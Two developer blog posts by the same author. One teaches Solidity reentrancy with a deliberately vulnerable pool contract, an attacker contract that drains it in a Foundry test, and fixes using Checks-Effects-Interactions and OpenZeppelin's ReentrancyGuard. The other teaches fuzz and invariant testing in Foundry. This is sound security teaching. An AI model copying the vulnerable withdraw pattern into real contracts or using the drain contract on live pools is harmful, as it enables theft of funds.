DEV Community: Régis

Reentrancy Attacks: The Billion-Dollar Solidity Vulnerability [Code Walkthrough]

Régis — Sat, 21 Jun 2025 16:01:42 +0000

Reentrancy attacks remain a billion-dollar vulnerability in Solidity smart contracts. In this code walkthrough, you’ll discover how attackers exploit this flaw to drain funds, and how you can protect your smart contract to secure your DApps.

What is a Reentrancy Attack?

A Reentrancy attack occurs when a malicious contract repeatedly calls back into a vulnerable contract before the original execution completes. This can happen, for example, during an external call to a withdrawal function, before the contract has had a chance to update its internal state. As a result, the attacker can exploit this window to drain funds or manipulate the contract’s behavior based on an outdated state.

Now, let’s walk through a simplified example to see how Reentrancy can happen. Can you spot the vulnerability in the following smart contract?

pragma solidity ^0.8.13;

// /!\ DO NOT USE THIS CODE IN PRODUCTION !!!
contract ReentrancyPool {
    mapping(address => uint256) public userBalance;

    function deposit() public payable {
        unchecked {
            userBalance[msg.sender] += msg.value;
        }
    }

    function withdraw(uint256 amount) public {
        require(userBalance[msg.sender] >= amount, "Insufficient balance");  // Check if user has enough balance
        (bool success,) = msg.sender.call{value: amount}(new bytes(0));  // Send requested Ether to the user
        require(success, "Transfer failed"); 
        unchecked {
            userBalance[msg.sender] -= amount;  // Update user's balance
        }

    }

}

In the following code, we have a Pool contract that tracks user balances. This balance is updated when a user makes a deposit by providing some ETH to the smart contract. Then, later on, he can withdraw it by calling the withdraw() function.

Take a moment to think about what could go wrong here…

Okay, so the issue is in the withdraw() function. In a smart contract, we execute a contract instructions by instructions, right? So first, it checks the user balance, which is correct if the user has some funds. Then, send the funds to the user by giving the requested amount. Now, here come the issue.

If you send some funds using your address (External Owned Account), nothing happens. However, nothing prevents you to create a smart contract that is going to call this function, right? And in Solidity, you can create a receive() function that will be called when someone sends you some ETH. Now, when the Pool contract sends some ETH to the smart contract, it is going to call the receive() function. But wait, my user balance has not changed, right? Can I call the withdraw() function again? I mean, the Pool still have some ETH available and I still have some value in my balance, as it has not updated it yet! I can take advantage of this to request more money from the Pool!

This is exactly what a Reentrancy attack looks like. Basically, the contract still has not completed his process and have not updated his state accordingly. Let’s illustrate the potential workflow for an attacker with a diagram:

In blue, we have the initial call done by an attacker. At first, the attacker deposits some ETH in the Pool to update his user balance. Once deposited, he can withdraw them. When withdraw, illustrated in red, the Pool contract is going to call the receive() function. As the user balance is not updated yet, the attacker can call again the withdraw() function to extract more ETH.

Proof of Exploit: How Attackers Use Reentrancy Attacks

Enough theory, let’s see how we can write a smart contract that is going to exploit the Pool. We are going to use Foundry to create a simple test case for that.

I have commented in TODO the implementation part if you want to try on your own in your computer.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {ReentrancyPool} from "../src/ReentrancyPool.sol";


contract ReentrancyPoolTest is Test {

    address deployer = makeAddr("deployer");
    address attacker = makeAddr("attacker");

    ReentrancyPool public pool;

    function setUp() public {
        startHoax(deployer);
        pool = new ReentrancyPool();
        pool.deposit{value: 100e18}();
        vm.deal(attacker, 1e18);  // Give some ETH to the attacker
        vm.stopPrank();
    }

    function test_exploit() public {
        vm.startPrank(attacker);

        // TODO: Try to do a reentrancy
        // Hint: Maybe you need to create your own contract?

        vm.stopPrank();
        assert(address(pool).balance == 0);
        assert(attacker.balance == 0);
    }
}

Did you give it a try? Did you manage to spot the issue?

Or maybe you scrolled too far and got spoiled 😅 Not easy, but I try my best!

Alright, I believe in you, and I’m sure you nailed it. Congrats!

Let’s see how we can create our malicious smart contract:

contract AttackerContract {
    ReentrancyPool public pool;

    constructor(address _pool) {
        pool = ReentrancyPool(_pool);
    }

    function attack() external payable {
        pool.deposit{value: msg.value}();
        pool.withdraw(1e18);
    }

    receive() external payable {
        if (address(pool).balance >= 1e18) {
            pool.withdraw(1e18);
        }
    }
}

In this smart contract, we have implemented a receive() function that is going to call the withdraw() function from the Pool, while it still has some ETH available.

To complete our implementation, in the first test case, we can update the TODO comment by adding the following code:

AttackerContract attackerContract = new AttackerContract(address(pool));
attackerContract.attack{value: 1e18}();

Alright, hope you succeed to do it on your side. Now, let’s try to understand what went wrong here and how can we fix this issue.

Preventing Reentrancy Attacks: The Checks-Effects-Interactions Pattern

In the code sample, the main issue was regarding the user balance state. It was not updated accordingly, while we were calling another smart contract, that could, again, interact with our smart contract. In Solidity, a good practice is to follow a Checks-Effects-Interactions pattern, where we:

Checks — Validate inputs and conditions (e.g., require statements).
Effects — Update the contract’s internal state.
Interactions — Interact with external contracts (e.g., transfer ETH, call other contracts).

Apply the Checks-Effects-Interactions pattern

Let’s see how we can modify our code to implement the Checks-Effects-Interactions pattern:

function withdraw(uint amount) public {
    require(userBalance[msg.sender] >= amount, "Insufficient balance"); // Check
    userBalance[msg.sender] -= amount;                                  // Effect
    (bool success,) = msg.sender.call{value: amount}(new bytes(0));     // Interaction
    require(success, "Transfer failed");
}

If you notice in the code, we have updated the execution order by moving the update balance operation before sending the ETH to the user. By doing so, we ensure that we are modifying the state of the contract first, before calling another smart contract.

Note: We also remove the unchecked flag. By removing it, it ensures that we do not do any overflow, another vulnerability that we might talk in another article.

The Checks-Effects-Interactions pattern is a good practice for smart contract, avoiding Reentrancy exploit. However, sometimes, due to contract logic and complexity, we can be restricted on how we can modify the state inside our Smart Contract. This is where other tools can help us, such as ReentrancyGuard from OpenZeppelin.

OpenZeppelin’s Reentrancy Guard

You may already be familiar with whom is OpenZeppelin. It provides audited and optimized contract, allowing you to use them directly in your project. If you have ever created your first ERC20, you might have used OpenZeppelin.

The reason to use a library such as OpenZeppelin is they provided audited smart contract, allowing us to reducing the need to write low-level logic from scratch, increasing our code confidence. We still have to be cautious on the implementation, as it does not remove any vulnerabilities, but rather help us to build our smart contract with strong foundations.

In the OpenZeppelin security utilities, they are providing a ReentrancyGuard contract which helps us to manage reentrancy issue.

To implement it, we need to import the ReentrencyGuard by importing

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

Then, we need to inherit our contract by doing

contract ReentrancyPoolFixed is ReentrancyGuard {
   // ...
}

Finally, we can use the provided modifier called nonReentrant in our withdraw() function. We can see the full implementation bellow:

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract ReentrancyPoolFixed is ReentrancyGuard {
    mapping(address => uint256) public userBalance;

    function deposit() public payable {
        userBalance[msg.sender] += msg.value;
    }

    // Add the `nonReentrant` modifier
    function withdraw(uint256 amount) public nonReentrant {
        require(userBalance[msg.sender] >= amount, "Insufficient balance");  // Check if user has enough balance
        userBalance[msg.sender] -= amount;  // Update user's balance
        (bool success,) = msg.sender.call{value: amount}(new bytes(0));  // Send requested Ether to the user
        require(success, "Transfer failed"); 
    }

}

Note: Even if we are using the ReentrancyGuard it does not mean that we need to skip good practice! This is the reason why we are keeping the Checks-Effects-Interactions pattern.

How does the `ReentrancyGuard` works?

Great, it seems now we are protected from reentrancy, but let’s try to understand how ReentrancyGuard works behind the wheel. If we take a look at the source code, the nonReentrant modifier works by setting a flag before and after the execution of our function.

modifier nonReentrant() {
    _nonReentrantBefore();
    _;
    _nonReentrantAfter();
}

The state variable modified is called _status which defined the state of the contract.

uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;

By using a simple flag, we can track whether a function is already in execution, allowing us to ensure that someone is not calling, again, this function.

Optimization note: In case the deployed blockchain is using the EIP-1153 you can use the ReentrancyGuardTransient contract instead. A quick word on this, Transient Storage is non permanent data, that will be used only during a transaction. So instead of storing the _status flag in memory, we can store it in the transaction state, allowing us to keep preserving reentrancy protection while using cheaper gas.

Apply What You’ve Learned: Reentrancy CTFs

We are not in a classroom, feel free to jump directly to the conclusion. But, if you want to progress and be sure to understand how reentrancy works, I would strongly recommend you to do some challenges or Capture The Flag (CTF), to see if you understand completely how reentrancy works.

Before diving it, be sure to understand and familiar with the code of this article. If you need more examples, feel free to ask questions or to see other examples.

https://solidity-by-example.org/hacks/re-entrancy/

If you want some exercice, I can recommend you:

Side Entrance — Damn Vulnerable DeFi
Re-entrancy — Challenge 10- Ethernaut from OpenZeppelin

If you want a more challenging exercise and you are not afraid of learning by doing, I would recommend you this challenge:

https://nodeguardians.io/quests/cream-rekt

It will be a tough one, but you will learn a lot through this. Maybe I will write some articles on other principle covering other aspects that could guide you through this challenge!

Conclusion

Alright, seems we cover a lot in this article. We have seen what is a reentrancy attack, what impacts it can have on a protocol and how you can protect your smart contract from exploits. Hope you learn a lot!

To continue your learning journey, I am writing a series of articles related to blockchain, you can subscribe to it if you are looking to improve your skills.

Before leaving, I need your feedback on this, was this walkthrough practical? Was it helpful for you? Or simply boring? A simple emoji as 👍 or 👎 can make the difference for me and help me to improve it!

Finally, if you want to discuss about your blockchain project, or smart contract development, feel free to reach out or connect on Linkedin.

Keep building!

Fuzz Testing & Invariants in Solidity: Secure Smart Contracts with Foundry

Régis — Wed, 11 Jun 2025 12:00:22 +0000

Discover How to Catch Critical Bugs in Your Smart Contracts Using Automated Testing in Foundry

Smart contracts are the backbone of decentralized applications and, once deployed, they are publicly accessible. A single vulnerability can put an entire protocol at risk, potentially causing multi-million dollar losses. This is not theoretical, it has happened repeatedly in DeFi. One key reason is the open execution model of blockchain: anyone can call any function, with any parameter. That drastically increases the input space and the chance of bugs being triggered by unexpected or malicious inputs.

To build resilient smart contracts, we need to go beyond standard unit testing, and that's where fuzz testing comes in. In this article, you'll learn how to use fuzz testing and invariant checking in Solidity using Foundry, a powerful testing framework for smart contracts. These techniques will help you to catch bugs before they reach Mainnet.

A Brief History of Fuzz Testing

In 1990, Barton P. Miller and his colleagues encountered a peculiar issue: spurious characters from a noisy dial-up connection were causing standard Unix utilities to crash. These were common tools, widely used, supposedly reliable. Yet, simple malformed inputs revealed deep instability.

Intrigued, they launched a systematic experiment: feeding random data into common Unix programs to observe how they behaved. The result was alarming: around 30% of utility programs was crashing or producing instable behavior.

This led to their seminal paper, "An Empirical Study of the Reliability of UNIX Utilities", co-authored by Miller, Lars Fredriksen, and Bryan So. It exposed a fundamental truth: even mature, widely-used software can fail under unexpected inputs. This led to the formalization of fuzz testing, a technique that generates random or semi-random inputs to uncover crashes, logic errors, or unexpected behavior in code.

From UNIX to Ethereum

Fast forward to today, and the same problem applies to smart contracts. Any failure can have irreversible consequences. We expect them to be stable and reliable under all input combinations.
This is especially the case as smart contracts operate under an open execution model: anyone can call any function with arbitrary inputs at any time. This drastically increases the input space, making it difficult to anticipate and test every possible scenario manually.

To ensure reliability across all possible inputs, we need to move beyond static and unit tests. We want to make sure, that under any input combinations we do not reach any edge cases, overflow/underflow, malicious crafted inputs… This applies for the life of the protocol. And this is where fuzz testing comes in to simulate and test those kind of behavior and validate the core assumptions of the protocol.

What Is Fuzz Testing? A Powerful Technique for Securing Smart Contracts

Randomness is all that you need

Fuzz testing is a software testing technique that feeds random, unexpected, or invalid inputs into a program to uncover crashes, bugs, or security vulnerabilities. Rather than testing specific cases, it explores the vast input space automatically, exposing edge cases developers might overlook.
It is often coupled with the notion of invariants which represent properties that must always be valid. In smart contracts, an invariant might be something like: "the sum of all user balances must equal the contract's total balance." If a sequence of inputs causes that invariant to break, it signals a potentially critical bug.

To illustrate it, suppose we define an invariant in our protocol as a > b. If during fuzzing tests we found a combination of inputs that cause a = b, we have found an unexpected behavior that violates our protocol assumption. This can highlight a logic flaw or unchecked edge case.

Fuzzing in Foundry: How to Use Fuzz Testing in Solidity

Let's see how we can create fuzzing tests using Foundry. For the demo, I have created a simple smart contract. Observant readers will notice that instead of using traditional uint256 we are using uint64. This smaller type will help us to illustrate how with fuzzing tests we can expose this kind of edge cases more easily.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract App {

    mapping(address => uint64) public balances;

    function deposit() external payable {
        balances[msg.sender] += uint64(msg.value);
    }

    function withdraw(uint64 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        balances[msg.sender] -= amount;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Failed to withdraw");
    }
}

Now, let's create a traditional unit test for this smart contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {App} from "../src/App.sol";

contract AppTest is Test {
    App public app;
    address user;

    function setUp() public {
        app = new App();
        user = address(1);
    }

    function test_DepositAndWithdraw() public {
        uint256 userBalance = 100;
        vm.deal(user, userBalance);

        vm.startPrank(user);  
        app.deposit{value: userBalance}();
        app.withdraw(uint64(userBalance));
        vm.stopPrank();

        assertEq(app.balances(user), 0);
        assertEq(user.balance, userBalance);
    }
}

What interest us here is the test_DepositAndWithdraw() function. Currently, it tests only a simple value. You may already see the different approaches with parameterize parameter where you are defining a set of values where you are going to test it one by one. Those approaches work well when you want to test specific behavior or scenario. However, it lacks a range of value that could impact your protocol. Let's now see how you can create your own fuzzing test.

How to Write Fuzzing Tests in Foundry for Solidity Smart Contracts

Let's create the same previous test, but this time by adding fuzzing!

function testFuzz_DepositAndWithdraw(uint256 amount) public {
    vm.deal(user, amount);

    vm.prank(user);  
    app.deposit{value: amount}();

    assertEq(app.balances(user), amount);
    assertEq(user.balance, 0);

    vm.prank(user);  
    app.withdraw(uint64(amount));

    assertEq(app.balances(user), 0);
    assertEq(user.balance, amount);
}

Notice that we have changed the function name by prefixing it by testFuzz_ and that we add an additional parameter in our function called amount. This parameter is set as uint256 type and Foundry will automatically generate randomized values for this input. Now, if you run it, by using forge test you should have the following issue:

[FAIL: assertion failed: 6788299089036262325 != 9618775958796846875934621660669098933; counterexample: calldata=0x27ce517100000000000000000000000000000000073c8244f5a7e9715e34e20e371d3bb5 args=[9618775958796846875934621660669098933 [9.618e36]]] testFuzz_DepositAndWithdraw(uint256) (runs: 0, μ: 0, ~: 0)

This happens because the fuzzing engine may generate an amount value that overflows uint64 during the internal cast in the smart contract. That's a critical bug: the type mismatch causes unexpected behavior.

In case we want to generate uint64, we can modify the input parameter:

function testFuzz_DepositAndWithdraw(uint64 amount) public {

We should now have a successful result.

[PASS] testFuzz_DepositAndWithdraw(uint64) (runs: 257, μ: 64882, ~: 65480)

However to fully fix this issue, we should accept uint256 directly and not cast msg.value in our initial code. Here, we just wanted to illustrate how you can select and generate specific type using Foundry.

Additionally, each run represents a different randomized input value. Note that these are stateless tests, meaning that the environment is reset before each iteration to ensure reproducibility and isolation.

Fuzzing output - Understanding Run Metrics and Gas Usage

Let's understand the output parameter. Here for our previous test case, we had (runs: 257, μ: 64882, ~: 65480).
As runs may suggest, it represent the number of scenarios we are running. This can be changed by modifying the foundry configuration foundry.toml. You can then customize the number of runs you want as follow:

[fuzz]
runs = 1000

Notice that by increasing the number of runs, you are increasing the number of tests but also increasing the running time. And, if you are wondering, yes big companies are using dedicated cluster to run fuzzing test.

Finally, µ represents the mean gas used across all fuzz runs and ~ represents the median gas used across all fuzz runs.

Advanced Fuzzing Configuration in Foundry

If we explore a bit more foundry configuration, we can see a list of other parameter available. One parameter that you may interest you is the seed parameter, which controls the randomness used in fuzz input generation. By reusing this seed, you can reproduce the exact failing case without rerunning all fuzz iterations. This is especially helpful for debugging, tracing, or sharing test failures with others.

Another parameter that may interest you is the failure_persit_dir which defined the path where fuzz failures are recorded and replayed. It can be useful if you are running it locally and need to share it with someone else. Or if you are deploying it on a CI and need to extract the data or the seed.

Advanced Fuzzing Techniques in Foundry

How to Guide Fuzz Input Generation in Solidity Tests

When running fuzzing test, you may already know that certain input values are more likely to uncover edge cases or vulnerabilities in your smart contract. You may want to generate or eventually guide the fuzzing generation by providing some parameter.

One way to guide fuzzing in Foundry is by using fixtures or parameterized tests. The idea is to define a set of values that will be prioritized during input generation. In Foundry, you can do this by declaring a variable prefixed with fixture, followed by the name of the parameter you want to control. For example, to guide fuzzing for a parameter named amount, you would define a variable called fixtureAmount. Here an example:

uint64[] public fixtureAmount = [0, 1, 100, type(uint64).max];

function testFuzz_DepositAndWithdraw(uint64 amount) public {
     // ...
}

To add more customization or even more control, instead of using a variable, you can define a function. You will have to return a list:

function fixtureAmount() public returns (uint64[] memory) {
     // ...
}

Handling Multiple Parameters in Fuzzing Tests

Our first example is relatively simple. We are generating a single input on our test. If we need multiple parameters, we can simply add new one in our function.
But what if we want to enforce constraints between those parameters? For example, ensuring that one parameter is always less than another, or that certain combinations are invalid? Foundry is providing some utility function that you can use as display in the example below:

function testFuzz_DualInput(uint256 a, uint256 b) public {
    vm.assume(a > b); // constraint: a must be greater than b
    // ...
}

Another way to enforce constraints on fuzzed inputs is by bounding a variable within a specific range using:

a = bound(a, 1e8, 1e36);

Notice that the order here have an impact. For instance, if you assume that a should be greater than b, but then you bound a to a specific range it will crash, as the value of a could be above a certain range. For that, you should handle the a range before assuming the comparaison between a and b. As an example, you will have:

function testFuzz_DualInput(uint256 a, uint256 b) public {
    a = bound(a, 1e8, 1e36); // bound a value
    vm.assume(a > b); // constraint: a must be greater than b
    // ...
}

Invariant test in Foundry

Invariant testing is a powerful technique for uncovering flawed assumptions and incorrect logic in smart contracts. By executing randomized sequences of function calls with fuzzed inputs, it reveals edge cases and failures that often go unnoticed in conventional testing, especially in complex or stateful protocols.

Writing Invariant Tests in Foundry

Let's create a basic example to showcase how we can create an invariant test:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract AppInvariant {

    bool public isValid = true;
    bool activated;

    constructor () {
        activated = false;
    }

    function activate(uint256 n) external payable {
        if (n == 42) {
            activated = true;
        }
    }

    function boom(uint256 n) external payable {
        if (n % 2 == 0 && activated) {
            isValid = false;
        }
    }
}

In this example, we have defined our invariant as isValid should always be true. However, depending on some condition and events, it is possible given a set of action to modify this value. Let's see how we can use invariant test to discover this issue:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {AppInvariant} from "../src/AppInvariant.sol";

contract AppInvariantTest is Test {

    AppInvariant appInvariant;

    function setUp() public {
        appInvariant = new AppInvariant();
    }

    function invariant_isValid() public view {
        assertTrue(appInvariant.isValid());
    }
}

Our test case is really simple. We have prefix our function by invariant_, then specify our invariant by checking our isValid variable that should remain true. When running this test case by doing a forge test, we can see an error:

Encountered 1 failing test in test/AppInvariant.t.sol:AppInvariantTest
[FAIL: invariant_isValid replay failure]
        [Sequence]
                sender=0x000000000000000000000000000000000000008b addr=[src/AppInvariant.sol:AppInvariant]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f calldata=activate(uint256) args=[42]
                sender=0x000000000000000000000000000000000000147f addr=[src/AppInvariant.sol:AppInvariant]0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f calldata=boom(uint256) args=[586]
 invariant_isValid() (runs: 1, calls: 1, reverts: 1)

The trace reveals the issue: a call to activate(42) followed by boom(586) violates the defined invariant, causing the test case to fail.

This example is simple enough that the issue can be spotted by manual code review. However, it highlights a key risk: relying solely on unit tests may overlook such behaviors, leading to hidden bugs. Invariant testing combined with fuzzing strengthens your test suite by exploring diverse input combinations and sequences you might not anticipate. That said, invariant tests are complementary, they do not replace targeted unit tests for specific scenarios but rather enhance overall coverage.

Configure Your Invariant Tests

Similar to fuzzing tests, you can configure invariant tests in Foundry by adding an [invariant] section to your foundry.toml file:

[invariant]
runs = 256
depth = 500

runs: Number of times that a sequence of function calls is generated and run.
depth: Number of function calls made in a given run. Invariants are asserted after each function call is made. If a function call reverts, the depth counter still increments.

Keep in mind that increasing these parameters directly impacts the total number of executions and test duration. Larger values provide deeper coverage but require more time and resources. You should balance these settings based on the security requirements of your protocol and the available testing infrastructure.

Integrate Your Fuzzing Tests into CI/CD

Running fuzzing tests locally is a great way to catch bugs early. However, integrating them into your CI/CD pipeline, especially on PR branches, can significantly improve code quality.

As we saw, you can run fuzz testing with thousands iterations or with billion. The scaled will not be the same nor the time needed. A potential idea could be to define dedicated policies based on the branch and the maturity of the project. Indeed, when pushing to a feature branch, you may only need to execute quick fuzzing test on outlier value. While on master, before heading into production, you may want to test it intensively. This approach balances rapid feature development with reliable deployment.

But, again, it will depend on the resource available and how you want to manage your workflow depending on the security and speed you want.

Conclusion

In this article, we explored what fuzz testing is and how you can integrate it into your Solidity development workflow. While fuzzing does not replace traditional unit tests, it significantly strengthens your testing strategy, especially for uncovering unexpected edge cases and ensuring protocol robustness before mainnet deployment.

If you're aiming to build a secure and modern smart contract development pipeline, incorporating fuzzing is essential. Integrating it into your CI/CD processes is a straightforward and highly effective step.

If you need guidance or support in setting up fuzzing tests in your project, feel free to connect with me on LinkedIn. Will be happy to discuss about your project and see how we can collaborate.

DEV Community: Régis

Reentrancy Attacks: The Billion-Dollar Solidity Vulnerability [Code Walkthrough]

What is a Reentrancy Attack?

Proof of Exploit: How Attackers Use Reentrancy Attacks

Preventing Reentrancy Attacks: The Checks-Effects-Interactions Pattern

Apply the Checks-Effects-Interactions pattern

OpenZeppelin’s Reentrancy Guard

How does the ReentrancyGuard works?

Apply What You’ve Learned: Reentrancy CTFs

Conclusion

Fuzz Testing & Invariants in Solidity: Secure Smart Contracts with Foundry

Discover How to Catch Critical Bugs in Your Smart Contracts Using Automated Testing in Foundry

A Brief History of Fuzz Testing

From UNIX to Ethereum

What Is Fuzz Testing? A Powerful Technique for Securing Smart Contracts

Fuzzing in Foundry: How to Use Fuzz Testing in Solidity

How to Write Fuzzing Tests in Foundry for Solidity Smart Contracts

Fuzzing output - Understanding Run Metrics and Gas Usage

Advanced Fuzzing Configuration in Foundry

Advanced Fuzzing Techniques in Foundry

How to Guide Fuzz Input Generation in Solidity Tests

Handling Multiple Parameters in Fuzzing Tests

Invariant test in Foundry

Writing Invariant Tests in Foundry

Configure Your Invariant Tests

Integrate Your Fuzzing Tests into CI/CD

Conclusion

How does the `ReentrancyGuard` works?